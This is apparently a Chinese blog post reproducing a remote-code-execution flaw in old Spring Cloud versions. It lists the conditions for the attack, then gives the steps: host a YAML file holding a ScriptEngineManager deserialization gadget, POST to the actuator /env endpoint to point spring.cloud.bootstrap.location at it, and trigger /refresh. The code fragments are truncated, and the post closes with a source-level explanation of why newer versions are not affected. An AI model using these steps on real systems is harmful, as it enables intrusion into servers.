SpringCloud-SnakeYAML-RCE
利用条件
Ps:支持/env的post的好像必须要springCloud,springBoot我怎么都不可以搜了网上一堆也不行,有大佬知道可以说说为什么
-
可以 POST 请求目标网站的
/env
接口设置属性 -
可以 POST 请求目标网站的
/refresh
接口刷新配置(存在spring-boot-starter-actuator
依赖) -
目标依赖的
spring-cloud-starter
版本 < 1.3.0.RELEASE - 目标可以请求攻击者的 HTTP 服务器(请求可出外网)
漏洞复现
1.在网站根目录下放置后缀为
yml
的文件
example.yml
,内容如下
1 |
!!javax.script.ScriptEngineManager [ |
3.设置 spring.cloud.bootstrap.location 属性
1 |
POST /env |
1 |
POST /actuator/env |
1 |
POST /refresh |
1 |
POST /actuator/refresh |
漏洞原理
从过程中我们知道,命令执行是由于 SnakeYAML 在解析 YAML 文件时,存在反序列化漏洞导致,这个在我博客其他文章就有提过了,这里就不再多说
看几个关键的地方,处理
/refresh
接口请求的类在org.springframework.cloud.endpoint.RefreshEndpoint#refresh
高版本无效
1 |
private StandardEnvironment copyEnvironment(ConfigurableEnvironment input) { |
1 |
private StandardEnvironment copyEnvironment(ConfigurableEnvironment input) { |
必须在DEFAULT_PROPERTY_SOURCES当中的才能被添加到propertySourceList,而恰好
1 |
private static final String[] DEFAULT_PROPERTY_SOURCES = new String[]{"commandLineArgs", "defaultProperties"}; |